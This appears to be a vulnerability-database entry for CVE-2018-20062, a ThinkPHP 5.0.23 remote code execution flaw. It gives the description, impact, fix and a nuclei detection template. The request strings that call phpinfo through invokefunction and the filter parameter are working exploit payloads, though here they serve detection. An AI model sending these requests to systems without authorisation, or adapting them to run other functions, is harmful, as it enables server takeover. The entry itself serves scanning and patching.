HexBrain

Browse / CVEs / CVE-2018-20062

CVE-2018-20062· 5none / nonecms

ThinkPHP 5.0.23 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity
9.8CVSS score
99.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An issue was discovered in NoneCms V1.3. thinkphp/library/think/App.php allows remote attackers to execute arbitrary PHP code via crafted use of the filter parameter, as demonstrated by the s=index/\think\Request/input&filter=phpinfo&data=1 query string.

Impact

Unauthenticated attackers can execute arbitrary PHP code on the server, leading to complete system compromise, data theft, and potential lateral movement within the network.

Fix

Upgrade to ThinkPHP version 5.0.24 or later, or apply vendor-provided security patches.

How to confirm it

Send: GET {{BaseURL}}?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
Positive when: contains "PHP Extension" and "PHP Version" and "ThinkPHP" AND status 200

Run it with nuclei: nuclei -id CVE-2018-20062 -u <target>

The full check
id: CVE-2018-20062

info:
  name: ThinkPHP 5.0.23 - Remote Code Execution
  author: dr_set
  severity: critical
  description: |
    An issue was discovered in NoneCms V1.3. thinkphp/library/think/App.php allows remote attackers to execute arbitrary PHP code via crafted use of the filter parameter, as demonstrated by the s=index/\think\Request/input&filter=phpinfo&data=1 query string.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code on the server, leading to complete system compromise, data theft, and potential lateral movement within the network.
  remediation: |
    Upgrade to ThinkPHP version 5.0.24 or later, or apply vendor-provided security patches.
  reference:
    - https://github.com/yilin1203/CVE-2018-20062/blob/main/CVE-2018-20062.py
    - https://github.com/yilin1203/CVE-2018-20062
    - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-20062
    epss-score: 0.9953
    epss-percentile: 0.99945
    cpe: cpe:2.3:a:5none:nonecms:1.3.0:*:*:*:*:*:*:*
  metadata:
    vendor: 5none
    product: nonecms
    fofa-query: app="ThinkPHP"
    verified: true
    max-request: 1
  tags: cve,cve2018,kev,thinkphp,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
          - "ThinkPHP"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from